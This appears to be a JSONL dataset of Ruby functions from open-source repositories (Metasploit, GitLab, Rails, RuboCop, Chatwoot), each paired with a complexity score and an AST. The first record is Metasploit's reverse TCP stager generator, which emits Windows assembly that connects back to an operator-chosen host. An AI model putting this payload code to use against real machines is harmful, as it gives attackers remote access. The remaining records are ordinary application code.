{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/payload/windows/reverse_tcp.rb","start_line":103,"raw_source":"def asm_reverse_tcp(opts={})\n\n    retry_count  = [opts[:retry_count].to_i, 1].max\n    encoded_port = \"0x%.8x\" % [opts[:port].to_i,2].pack(\"vn\").unpack(\"N\").first\n    encoded_host = \"0x%.8x\" % Rex::Socket.addr_aton(opts[:host]||\"127.127.127.127\").unpack(\"V\").first\n\n    addr_fam      = 2\n    sockaddr_size = 16\n\n    asm = %Q^\n      ; Input: EBP must be the address of 'api_call'.\n      ; Output: EDI will be the socket for the connection to the server\n      ; Clobbers: EAX, ESI, EDI, ESP will also be modified (-0x1A0)\n\n      reverse_tcp:\n        push '32'               ; Push the bytes 'ws2_32',0,0 onto the stack.\n        push 'ws2_'             ; ...\n        push esp                ; Push a pointer to the \"ws2_32\" string on the stack.\n        push #{Rex::Text.block_api_hash('kernel32.dll', 'LoadLibraryA')}\n        mov eax, ebp\n        call eax                ; LoadLibraryA( \"ws2_32\" )\n\n        mov eax, 0x0190         ; EAX = sizeof( struct WSAData )\n        sub esp, eax            ; alloc some space for the WSAData structure\n        push esp                ; push a pointer to this struct\n        push eax                ; push the wVersionRequested parameter\n        push #{Rex::Text.block_api_hash('ws2_32.dll', 'WSAStartup')}\n        call ebp                ; WSAStartup( 0x0190, &WSAData );\n\n      set_address:\n        push #{retry_count}     ; retry counter\n\n      create_socket:\n        push #{encoded_host}    ; host in little-endian format\n        push #{encoded_port}    ; family AF_INET and port number\n        mov esi, esp            ; save pointer to sockaddr struct\n\n        push eax                ; if we succeed, eax will be zero, push zero for the flags param.\n        push eax                ; push null for reserved parameter\n        push eax                ; we do not specify a WSAPROTOCOL_INFO structure\n        push eax                ; we do not specify a protocol\n        inc eax                 ;\n        push eax                ; push SOCK_STREAM\n        inc eax                 ;\n        push eax                ; push AF_INET\n        push #{Rex::Text.block_api_hash('ws2_32.dll', 'WSASocketA')}\n        call ebp                ; WSASocketA( AF_INET, SOCK_STREAM, 0, 0, 0, 0 );\n        xchg edi, eax           ; save the socket for later, don't care about the value of eax after this\n    ^\n    # Check if a bind port was specified\n    if opts[:bind_port]\n      bind_port    = opts[:bind_port]\n      encoded_bind_port = \"0x%.8x\" % [bind_port.to_i,2].pack(\"vn\").unpack(\"N\").first\n      asm << %Q^\n        xor eax, eax\n        push 11\n        pop ecx\n        push_0_loop:\n        push eax               ; if we succeed, eax will be zero, push it enough times\n                               ; to cater for both IPv4 and IPv6\n        loop push_0_loop\n\n                         ; bind to 0.0.0.0/[::], pushed above\n        push #{encoded_bind_port}   ; family AF_INET and port number\n        mov esi, esp           ; save a pointer to sockaddr_in struct\n        push #{sockaddr_size}  ; length of the sockaddr_in struct (we only set the first 8 bytes, the rest aren't used)\n        push esi               ; pointer to the sockaddr_in struct\n        push edi               ; socket\n        push #{Rex::Text.block_api_hash('ws2_32.dll', 'bind')}\n        call ebp               ; bind( s, &sockaddr_in, 16 );\n        push #{encoded_host}    ; host in little-endian format\n        push #{encoded_port}    ; family AF_INET and port number\n        mov esi, esp\n      ^\n    end\n\n    asm << %Q^\n      try_connect:\n        push 16                 ; length of the sockaddr struct\n        push esi                ; pointer to the sockaddr struct\n        push edi                ; the socket\n        push #{Rex::Text.block_api_hash('ws2_32.dll', 'connect')}\n        call ebp                ; connect( s, &sockaddr, 16 );\n\n        test eax,eax            ; non-zero means a failure\n        jz connected\n\n      handle_connect_failure:\n        ; decrement our attempt count and try again\n        dec dword [esi+8]\n        jnz try_connect\n    ^\n\n    if opts[:exitfunk]\n      asm << %Q^\n      failure:\n        call exitfunk\n      ^\n    else\n      asm << %Q^\n      failure:\n        push #{Rex::Text.block_api_hash('kernel32.dll', 'ExitProcess')}\n        call ebp\n      ^\n    end\n\n    asm << %Q^\n      ; this label is required so that reconnect attempts include\n      ; the UUID stuff if required.\n      connected:\n    ^\n\n    asm << asm_send_uuid if include_send_uuid\n\n    asm\n  end","complexity_score":62.55,"ast_json":"{\"type\":\"def\",\"children\":[\"asm_reverse_tcp\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"opts\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"retry_count\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"retry_count\"]}]},\"to_i\"]},{\"type\":\"int\",\"children\":[1]}]},\"max\"]}]},{\"type\":\"lvasgn\",\"children\":[\"encoded_port\",{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"0x%.8x\"]},\"%\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"port\"]}]},\"to_i\"]},{\"type\":\"int\",\"children\":[2]}]},\"pack\",{\"type\":\"str\",\"children\":[\"vn\"]}]},\"unpack\",{\"type\":\"str\",\"children\":[\"N\"]}]},\"first\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"encoded_host\",{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"0x%.8x\"]},\"%\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Socket\"]},\"addr_aton\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"host\"]}]},{\"type\":\"str\",\"children\":[\"127.127.127.127\"]}]}]},\"unpack\",{\"type\":\"str\",\"children\":[\"V\"]}]},\"first\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"addr_fam\",{\"type\":\"int\",\"children\":[2]}]},{\"type\":\"lvasgn\",\"children\":[\"sockaddr_size\",{\"type\":\"int\",\"children\":[16]}]},{\"type\":\"lvasgn\",\"children\":[\"asm\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"      ; Input: EBP must be the address of 'api_call'.\\n\"]},{\"type\":\"str\",\"children\":[\"      ; Output: EDI will be the socket for the connection to the server\\n\"]},{\"type\":\"str\",\"children\":[\"      ; Clobbers: EAX, ESI, EDI, ESP will also be modified (-0x1A0)\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"      reverse_tcp:\\n\"]},{\"type\":\"str\",\"children\":[\"        push '32'               ; Push the bytes 'ws2_32',0,0 onto the stack.\\n\"]},{\"type\":\"str\",\"children\":[\"        push 'ws2_'             ; ...\\n\"]},{\"type\":\"str\",\"children\":[\"        push esp                ; Push a pointer to the \\\"ws2_32\\\" string on the stack.\\n\"]},{\"type\":\"str\",\"children\":[\"        push \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"block_api_hash\",{\"type\":\"str\",\"children\":[\"kernel32.dll\"]},{\"type\":\"str\",\"children\":[\"LoadLibraryA\"]}]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"        mov eax, ebp\\n\"]},{\"type\":\"str\",\"children\":[\"        call eax                ; LoadLibraryA( \\\"ws2_32\\\" )\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"        mov eax, 0x0190         ; EAX = sizeof( struct WSAData )\\n\"]},{\"type\":\"str\",\"children\":[\"        sub esp, eax            ; alloc some space for the WSAData structure\\n\"]},{\"type\":\"str\",\"children\":[\"        push esp                ; push a pointer to this struct\\n\"]},{\"type\":\"str\",\"children\":[\"        push eax                ; push the wVersionRequested parameter\\n\"]},{\"type\":\"str\",\"children\":[\"        push \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"block_api_hash\",{\"type\":\"str\",\"children\":[\"ws2_32.dll\"]},{\"type\":\"str\",\"children\":[\"WSAStartup\"]}]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"        call ebp                ; WSAStartup( 0x0190, &WSAData );\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"      set_address:\\n\"]},{\"type\":\"str\",\"children\":[\"        push \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"retry_count\"]}]},{\"type\":\"str\",\"children\":[\"     ; retry counter\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"      create_socket:\\n\"]},{\"type\":\"str\",\"children\":[\"        push \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"encoded_host\"]}]},{\"type\":\"str\",\"children\":[\"    ; host in little-endian format\\n\"]},{\"type\":\"str\",\"children\":[\"        push \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"encoded_port\"]}]},{\"type\":\"str\",\"children\":[\"    ; family AF_INET and port number\\n\"]},{\"type\":\"str\",\"children\":[\"        mov esi, esp            ; save pointer to sockaddr struct\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"        push eax                ; if we succeed, eax will be zero, push zero for the flags param.\\n\"]},{\"type\":\"str\",\"children\":[\"        push eax                ; push null for reserved parameter\\n\"]},{\"type\":\"str\",\"children\":[\"        push eax                ; we do not specify a WSAPROTOCOL_INFO structure\\n\"]},{\"type\":\"str\",\"children\":[\"        push eax                ; we do not specify a protocol\\n\"]},{\"type\":\"str\",\"children\":[\"        inc eax                 ;\\n\"]},{\"type\":\"str\",\"children\":[\"        push eax                ; push SOCK_STREAM\\n\"]},{\"type\":\"str\",\"children\":[\"        inc eax                 ;\\n\"]},{\"type\":\"str\",\"children\":[\"        push eax                ; push AF_INET\\n\"]},{\"type\":\"str\",\"children\":[\"        push \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"block_api_hash\",{\"type\":\"str\",\"children\":[\"ws2_32.dll\"]},{\"type\":\"str\",\"children\":[\"WSASocketA\"]}]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"        call ebp                ; WSASocketA( AF_INET, SOCK_STREAM, 0, 0, 0, 0 );\\n\"]},{\"type\":\"str\",\"children\":[\"        xchg edi, eax           ; save the socket for later, don't care about the value of eax after this\\n\"]},{\"type\":\"str\",\"children\":[\"    \"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"bind_port\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"bind_port\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"bind_port\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"encoded_bind_port\",{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"0x%.8x\"]},\"%\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"bind_port\"]},\"to_i\"]},{\"type\":\"int\",\"children\":[2]}]},\"pack\",{\"type\":\"str\",\"children\":[\"vn\"]}]},\"unpack\",{\"type\":\"str\",\"children\":[\"N\"]}]},\"first\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"asm\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"        xor eax, eax\\n\"]},{\"type\":\"str\",\"children\":[\"        push 11\\n\"]},{\"type\":\"str\",\"children\":[\"        pop ecx\\n\"]},{\"type\":\"str\",\"children\":[\"        push_0_loop:\\n\"]},{\"type\":\"str\",\"children\":[\"        push eax               ; if we succeed, eax will be zero, push it enough times\\n\"]},{\"type\":\"str\",\"children\":[\"                               ; to cater for both IPv4 and IPv6\\n\"]},{\"type\":\"str\",\"children\":[\"        loop push_0_loop\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"                         ; bind to 0.0.0.0/[::], pushed above\\n\"]},{\"type\":\"str\",\"children\":[\"        push \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"encoded_bind_port\"]}]},{\"type\":\"str\",\"children\":[\"   ; family AF_INET and port number\\n\"]},{\"type\":\"str\",\"children\":[\"        mov esi, esp           ; save a pointer to sockaddr_in struct\\n\"]},{\"type\":\"str\",\"children\":[\"        push \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sockaddr_size\"]}]},{\"type\":\"str\",\"children\":[\"  ; length of the sockaddr_in struct (we only set the first 8 bytes, the rest aren't used)\\n\"]},{\"type\":\"str\",\"children\":[\"        push esi               ; pointer to the sockaddr_in struct\\n\"]},{\"type\":\"str\",\"children\":[\"        push edi               ; socket\\n\"]},{\"type\":\"str\",\"children\":[\"        push \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"block_api_hash\",{\"type\":\"str\",\"children\":[\"ws2_32.dll\"]},{\"type\":\"str\",\"children\":[\"bind\"]}]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"        call ebp               ; bind( s, &sockaddr_in, 16 );\\n\"]},{\"type\":\"str\",\"children\":[\"        push \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"encoded_host\"]}]},{\"type\":\"str\",\"children\":[\"    ; host in little-endian format\\n\"]},{\"type\":\"str\",\"children\":[\"        push \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"encoded_port\"]}]},{\"type\":\"str\",\"children\":[\"    ; family AF_INET and port number\\n\"]},{\"type\":\"str\",\"children\":[\"        mov esi, esp\\n\"]},{\"type\":\"str\",\"children\":[\"      \"]}]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"asm\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"      try_connect:\\n\"]},{\"type\":\"str\",\"children\":[\"        push 16                 ; length of the sockaddr struct\\n\"]},{\"type\":\"str\",\"children\":[\"        push esi                ; pointer to the sockaddr struct\\n\"]},{\"type\":\"str\",\"children\":[\"        push edi                ; the socket\\n\"]},{\"type\":\"str\",\"children\":[\"        push \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"block_api_hash\",{\"type\":\"str\",\"children\":[\"ws2_32.dll\"]},{\"type\":\"str\",\"children\":[\"connect\"]}]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"        call ebp                ; connect( s, &sockaddr, 16 );\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"        test eax,eax            ; non-zero means a failure\\n\"]},{\"type\":\"str\",\"children\":[\"        jz connected\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"      handle_connect_failure:\\n\"]},{\"type\":\"str\",\"children\":[\"        ; decrement our attempt count and try again\\n\"]},{\"type\":\"str\",\"children\":[\"        dec dword [esi+8]\\n\"]},{\"type\":\"str\",\"children\":[\"        jnz try_connect\\n\"]},{\"type\":\"str\",\"children\":[\"    \"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"exitfunk\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"asm\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"      failure:\\n\"]},{\"type\":\"str\",\"children\":[\"        call exitfunk\\n\"]},{\"type\":\"str\",\"children\":[\"      \"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"asm\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"      failure:\\n\"]},{\"type\":\"str\",\"children\":[\"        push \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"block_api_hash\",{\"type\":\"str\",\"children\":[\"kernel32.dll\"]},{\"type\":\"str\",\"children\":[\"ExitProcess\"]}]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"        call ebp\\n\"]},{\"type\":\"str\",\"children\":[\"      \"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"asm\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"      ; this label is required so that reconnect attempts include\\n\"]},{\"type\":\"str\",\"children\":[\"      ; the UUID stuff if required.\\n\"]},{\"type\":\"str\",\"children\":[\"      connected:\\n\"]},{\"type\":\"str\",\"children\":[\"    \"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"include_send_uuid\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"asm\"]},\"<<\",{\"type\":\"send\",\"children\":[null,\"asm_send_uuid\"]}]},null]},{\"type\":\"lvar\",\"children\":[\"asm\"]}]}]}","id":"393315f2-e4e6-4a3c-b21e-87bb3d753125"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/api/helpers.rb","start_line":324,"raw_source":"def find_project_issue(iid, project_id = nil)\n      project = project_id ? find_project!(project_id) : user_project\n\n      ::IssuesFinder.new(\n        current_user,\n        project_id: project.id,\n        issue_types: WorkItems::Type.allowed_types_for_issues\n      ).find_by!(iid: iid)\n    end","complexity_score":11.6,"ast_json":"{\"type\":\"def\",\"children\":[\"find_project_issue\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"iid\"]},{\"type\":\"optarg\",\"children\":[\"project_id\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"project\",{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"project_id\"]},{\"type\":\"send\",\"children\":[null,\"find_project!\",{\"type\":\"lvar\",\"children\":[\"project_id\"]}]},{\"type\":\"send\",\"children\":[null,\"user_project\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"IssuesFinder\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"current_user\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"project\"]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"issue_types\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"WorkItems\"]},\"Type\"]},\"allowed_types_for_issues\"]}]}]}]},\"find_by!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"iid\"]},{\"type\":\"lvar\",\"children\":[\"iid\"]}]}]}]}]}]}","id":"26b5c721-5e14-486e-a148-4e9bbb539b14"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/controllers/uploads_controller.rb","start_line":80,"raw_source":"def authorize_create_access!\n    authorized =\n      case model\n      when User\n        can?(current_user, :update_user, model)\n      else\n        can?(current_user, :create_note, model)\n      end\n\n    render_unauthorized unless authorized\n  end","complexity_score":13.9,"ast_json":"{\"type\":\"def\",\"children\":[\"authorize_create_access!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"authorized\",{\"type\":\"case\",\"children\":[{\"type\":\"send\",\"children\":[null,\"model\"]},{\"type\":\"when\",\"children\":[{\"type\":\"const\",\"children\":[null,\"User\"]},{\"type\":\"send\",\"children\":[null,\"can?\",{\"type\":\"send\",\"children\":[null,\"current_user\"]},{\"type\":\"sym\",\"children\":[\"update_user\"]},{\"type\":\"send\",\"children\":[null,\"model\"]}]}]},{\"type\":\"send\",\"children\":[null,\"can?\",{\"type\":\"send\",\"children\":[null,\"current_user\"]},{\"type\":\"sym\",\"children\":[\"create_note\"]},{\"type\":\"send\",\"children\":[null,\"model\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"authorized\"]},null,{\"type\":\"send\",\"children\":[null,\"render_unauthorized\"]}]}]}]}","id":"391c709e-d9e6-4b77-84bf-cb1dd059ddb2"}
{"repo_name":"rails","file_path":"./repos/rails/railties/lib/rails/initializable.rb","start_line":43,"raw_source":"def initialize(initializers = nil)\n        @order = Hash.new { |hash, key| hash[key] = Set.new }\n        @resolve = Hash.new { |hash, key| hash[key] = Set.new }\n        @collection = []\n        concat(initializers) if initializers\n      end","complexity_score":14.5,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"initializers\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@order\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Hash\"]},\"new\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"hash\"]},{\"type\":\"arg\",\"children\":[\"key\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hash\"]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"key\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Set\"]},\"new\"]}]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@resolve\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Hash\"]},\"new\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"hash\"]},{\"type\":\"arg\",\"children\":[\"key\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hash\"]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"key\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Set\"]},\"new\"]}]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@collection\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"initializers\"]},{\"type\":\"send\",\"children\":[null,\"concat\",{\"type\":\"lvar\",\"children\":[\"initializers\"]}]},null]}]}]}","id":"ebb41110-19f1-4d6d-b1f1-d6d0fe2cf93f"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/workers/propagate_integration_inherit_worker.rb","start_line":14,"raw_source":"def perform(integration_id, min_id, max_id)\n    integration = Integration.find_by_id(integration_id)\n    return unless integration\n\n    batch = Integration.where(id: min_id..max_id).by_type(integration.type).inherit_from_id(integration.id)\n\n    Integrations::Propagation::BulkUpdateService.new(integration, batch).execute\n  end","complexity_score":12.4,"ast_json":"{\"type\":\"def\",\"children\":[\"perform\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"integration_id\"]},{\"type\":\"arg\",\"children\":[\"min_id\"]},{\"type\":\"arg\",\"children\":[\"max_id\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"integration\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Integration\"]},\"find_by_id\",{\"type\":\"lvar\",\"children\":[\"integration_id\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"integration\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"batch\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Integration\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"irange\",\"children\":[{\"type\":\"lvar\",\"children\":[\"min_id\"]},{\"type\":\"lvar\",\"children\":[\"max_id\"]}]}]}]}]},\"by_type\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"integration\"]},\"type\"]}]},\"inherit_from_id\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"integration\"]},\"id\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Integrations\"]},\"Propagation\"]},\"BulkUpdateService\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"integration\"]},{\"type\":\"lvar\",\"children\":[\"batch\"]}]},\"execute\"]}]}]}","id":"a5761156-4757-4b4e-b18c-53e6b08916a8"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/ext/regexp_node.rb","start_line":43,"raw_source":"def named_capturing?(exp, event, named)\n        event == :enter &&\n          named == exp.respond_to?(:name) &&\n          exp.respond_to?(:capturing?) &&\n          exp.capturing?\n      end","complexity_score":9.6,"ast_json":"{\"type\":\"def\",\"children\":[\"named_capturing?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"exp\"]},{\"type\":\"arg\",\"children\":[\"event\"]},{\"type\":\"arg\",\"children\":[\"named\"]}]},{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"event\"]},\"==\",{\"type\":\"sym\",\"children\":[\"enter\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"named\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"exp\"]},\"respond_to?\",{\"type\":\"sym\",\"children\":[\"name\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"exp\"]},\"respond_to?\",{\"type\":\"sym\",\"children\":[\"capturing?\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"exp\"]},\"capturing?\"]}]}]}","id":"a03f1e20-52f0-465a-8243-860b289acc1d"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/lib/seeders/reports/message_creator.rb","start_line":89,"raw_source":"def generate_message_content\n    Faker::Lorem.paragraph(sentence_count: rand(1..5))\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"generate_message_content\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Faker\"]},\"Lorem\"]},\"paragraph\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"sentence_count\"]},{\"type\":\"send\",\"children\":[null,\"rand\",{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[1]},{\"type\":\"int\",\"children\":[5]}]}]}]}]}]}]}","id":"1fab9394-d393-4740-b20c-8888673e8935"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/ssh_public_key.rb","start_line":94,"raw_source":"def fingerprint\n      key.fingerprint(md5: true) if valid?\n    end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"fingerprint\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"valid?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"key\"]},\"fingerprint\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"md5\"]},{\"type\":\"true\",\"children\":[]}]}]}]},null]}]}","id":"c1c95db5-f541-4cfb-a671-f7232e3c5a5c"}
